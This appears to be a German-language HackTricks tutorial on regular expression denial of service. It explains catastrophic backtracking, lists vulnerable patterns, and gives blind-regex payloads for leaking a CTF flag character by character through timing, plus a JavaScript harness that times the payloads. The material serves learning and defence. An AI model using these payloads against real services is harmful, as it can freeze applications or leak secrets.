6.8 KiB
Regular Expression Denial of Service - ReDoS
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.
Regular Expression Denial of Service (ReDoS)
Ein Regular Expression Denial of Service (ReDoS) tritt auf, wenn jemand Schwachstellen in der Funktionsweise von regulären Ausdrücken (eine Möglichkeit, Muster in Text zu suchen und abzugleichen) ausnutzt. Manchmal können reguläre Ausdrücke, insbesondere wenn sie mit immer größer werdenden Texten arbeiten, sehr langsam werden. Diese Langsamkeit kann so stark zunehmen, dass sie selbst bei geringfügiger Vergrößerung der Textgröße exponentiell wächst. Angreifer können dieses Problem nutzen, um ein Programm, das reguläre Ausdrücke verwendet, für eine lange Zeit nicht ordnungsgemäß funktionieren zu lassen.
Der problematische Regex-Naive-Algorithmus
Weitere Informationen finden Sie unter https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS
Böse Regexes
Ein böses reguläres Ausdrucksmuster ist eines, das sich bei einer speziell erstellten Eingabe verfängt und eine DoS verursacht. Böse Regex-Muster enthalten in der Regel Gruppierungen mit Wiederholungen und Wiederholungen oder Alternativen mit Überlappungen innerhalb der wiederholten Gruppe. Einige Beispiele für böse Muster sind:
- (a+)+
- ([a-zA-Z]+)*
- (a|aa)+
- (a|a?)+
- (.*a){x} für x > 10
Alle diese sind anfällig für die Eingabe aaaaaaaaaaaaaaaaaaaaaaaa!
.
ReDoS-Payloads
String-Exfiltration über ReDoS
In einem CTF (oder Bug-Bounty) haben Sie möglicherweise die Kontrolle über den Regex, mit dem eine sensible Information (die Flagge) abgeglichen wird. In diesem Fall kann es nützlich sein, die Seite einzufrieren (Timeout oder längere Verarbeitungszeit), wenn der Regex abgeglichen wird, und nicht, wenn er nicht abgeglichen wird. Auf diese Weise können Sie den String Zeichen für Zeichen exfiltrieren:
- In diesem Beitrag finden Sie diese ReDoS-Regel:
^(?=<flag>)((.*)*)*salt$
- Beispiel:
^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
- In diesem Writeup finden Sie diese:
<flag>(((((((.*)*)*)*)*)*)*)!
- In diesem Writeup wurde dies verwendet:
^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$
ReDoS: Steuerung von Eingabe und Regex
Die folgenden Beispiele zeigen ReDoS, bei denen Sie sowohl die Eingabe als auch den Regex kontrollieren:
function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}
// This payloads work because the input has several "a"s
[
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
Werkzeuge
Referenzen
- https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS
- https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets
- https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html
- https://ctftime.org/writeup/25869
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.